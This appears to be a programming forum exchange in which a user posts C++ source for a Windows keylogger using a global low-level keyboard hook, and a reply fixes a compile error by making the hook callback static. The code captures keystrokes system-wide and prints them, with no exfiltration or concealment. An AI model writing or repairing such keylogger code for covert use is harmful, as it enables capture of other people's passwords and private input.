I`m working on keylogger, and this is what I got
Keylogger.h:
#pragma once
#include <stdio.h>
#include <windows.h>
class Keylogger
{
KBDLLHOOKSTRUCT kbdStruct;
BYTE keyState[256];
WCHAR buffer[16];
public:
HHOOK hKeyHook;
Keylogger(void);
~Keylogger(void);
LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam);
};
Keylogger.cpp:
#include "Keylogger.h"
Keylogger::Keylogger(void)
{
}
Keylogger::~Keylogger(void)
{
}
LRESULT WINAPI Keylogger::KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState((PBYTE)&keyState);
ToUnicode(kbdStruct.vkCode, kbdStruct.scanCode, (PBYTE)&keyState, (LPWSTR)&buffer, sizeof(buffer) / 2, 0);
printf("%X\t%c\n", buffer[0], buffer[0]);
}
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
main.cpp:
#include "Keylogger.cpp"
int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
Keylogger kl = Keylogger();
kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) kl.KeyEvent, GetModuleHandle(NULL), 0);
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
UnhookWindowsHookEx(kl.hKeyHook);
return 0;
}
On the following line kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) kl.KeyEvent, GetModuleHandle(NULL), 0);
i get error C2440: 'type cast' : cannot convert from 'overloaded-function' to 'HOOKPROC'
Is there a way to fix this?
WinAPI is mostly a C programming interface, so it doesn't know about classes. The callback should be static:
static LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam);
Then
kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) Keylogger::KeyEvent, GetModuleHandle(NULL), 0);